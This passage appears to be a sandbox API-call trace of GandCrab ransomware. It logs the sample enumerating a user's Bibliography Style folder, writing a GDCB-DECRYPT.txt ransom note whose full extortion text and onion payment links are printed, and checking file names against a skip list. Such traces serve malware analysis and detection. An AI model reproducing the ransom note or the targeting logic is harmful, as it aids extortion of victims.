hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.774] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.774] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.774] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.774] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned 67 [0053.774] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*" [0053.774] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b81f0 [0053.776] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.798] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.798] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.798] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.798] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.798] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2=".") returned 1 [0053.798] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="..") returned 1 [0053.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="APASixthEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" [0053.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98 [0053.798] lstrcmpW (lpString1=".xsl", lpString2=".sql") returned 1 [0053.798] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.798] lstrcmpW (lpString1="CHICAGO.XSL", lpString2=".") returned 1 [0053.798] lstrcmpW (lpString1="CHICAGO.XSL", lpString2="..") returned 1 [0053.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="CHICAGO.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" [0053.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78 [0053.798] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0053.798] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.798] lstrcmpW (lpString1="GB.XSL", lpString2=".") returned 1 [0053.798] lstrcmpW (lpString1="GB.XSL", lpString2="..") returned 1 [0053.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GB.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" [0053.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73 [0053.798] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0053.798] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.798] lstrcmpW (lpString1="GostName.XSL", lpString2=".") returned 1 [0053.798] lstrcmpW (lpString1="GostName.XSL", lpString2="..") returned 1 [0053.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostName.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" [0053.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79 [0053.798] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0053.798] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.798] lstrcmpW (lpString1="GostTitle.XSL", lpString2=".") returned 1 [0053.798] lstrcmpW (lpString1="GostTitle.XSL", lpString2="..") returned 1 [0053.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostTitle.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" [0053.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80 [0053.799] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0053.799] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.799] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2=".") returned 1 [0053.799] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="..") returned 1 [0053.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="HarvardAnglia2008OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" [0053.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100 [0053.799] lstrcmpW (lpString1=".xsl", lpString2=".sql") returned 1 [0053.799] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.799] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2=".") returned 1 [0053.799] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="..") returned 1 [0053.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="IEEE2006OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" [0053.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91 [0053.799] lstrcmpW (lpString1=".xsl", lpString2=".sql") returned 1 [0053.799] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.799] lstrcmpW (lpString1="ISO690.XSL", lpString2=".") returned 1 [0053.799] lstrcmpW (lpString1="ISO690.XSL", lpString2="..") returned 1 [0053.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" [0053.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77 [0053.799] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0053.799] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.799] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2=".") returned 1 [0053.799] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2="..") returned 1 [0053.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690Nmerical.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" [0053.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85 [0053.799] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0053.799] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.799] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2=".") returned 1 [0053.799] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="..") returned 1 [0053.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="MLASeventhEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" [0053.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100 [0053.799] lstrcmpW (lpString1=".xsl", lpString2=".sql") returned 1 [0053.799] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.799] lstrcmpW (lpString1="SIST02.XSL", lpString2=".") returned 1 [0053.799] lstrcmpW (lpString1="SIST02.XSL", lpString2="..") returned 1 [0053.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="SIST02.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" [0053.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77 [0053.799] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0053.799] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.799] lstrcmpW (lpString1="TURABIAN.XSL", lpString2=".") returned 1 [0053.799] lstrcmpW (lpString1="TURABIAN.XSL", lpString2="..") returned 1 [0053.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="TURABIAN.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" [0053.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79 [0053.799] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0053.799] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.799] FindClose (in: hFindFile=0x5b81f0 | out: hFindFile=0x5b81f0) returned 1 [0053.800] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.800] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\\\GDCB-DECRYPT.txt") returned 84 [0053.800] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.802] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.802] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.803] CloseHandle (hObject=0x4fc) returned 1 [0053.803] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.803] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned 67 [0053.803] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*" [0053.803] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8930 [0053.803] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.803] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.803] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.803] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.803] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.803] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2=".") returned 1 [0053.803] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="..") returned 1 [0053.803] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="APASixthEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" [0053.803] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.804] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98 [0053.804] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98 [0053.804] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.804] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.804] lstrcmpW (lpString1="CHICAGO.XSL", lpString2=".") returned 1 [0053.804] lstrcmpW (lpString1="CHICAGO.XSL", lpString2="..") returned 1 [0053.804] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="CHICAGO.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" [0053.804] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.804] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78 [0053.804] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78 [0053.804] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.804] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.804] lstrcmpW (lpString1="GB.XSL", lpString2=".") returned 1 [0053.805] lstrcmpW (lpString1="GB.XSL", lpString2="..") returned 1 [0053.805] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GB.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" [0053.805] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.805] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73 [0053.805] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73 [0053.805] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.805] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.805] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.805] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.805] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt" [0053.805] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.806] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned 83 [0053.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned 83 [0053.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned 83 [0053.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned 83 [0053.806] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.806] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.806] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.806] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.806] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.806] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.806] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.806] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.806] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.806] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.806] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.806] lstrcmpW (lpString1="GostName.XSL", lpString2=".") returned 1 [0053.806] lstrcmpW (lpString1="GostName.XSL", lpString2="..") returned 1 [0053.806] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostName.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" [0053.806] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.806] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79 [0053.806] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79 [0053.806] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.806] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.806] lstrcmpW (lpString1="GostTitle.XSL", lpString2=".") returned 1 [0053.806] lstrcmpW (lpString1="GostTitle.XSL", lpString2="..") returned 1 [0053.806] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostTitle.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" [0053.806] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.807] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80 [0053.807] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80 [0053.807] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.807] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.807] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2=".") returned 1 [0053.807] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="..") returned 1 [0053.807] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="HarvardAnglia2008OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" [0053.807] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.807] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100 [0053.807] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100 [0053.807] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.807] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.807] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2=".") returned 1 [0053.807] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="..") returned 1 [0053.807] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="IEEE2006OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" [0053.807] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.808] wsprintfW (in: 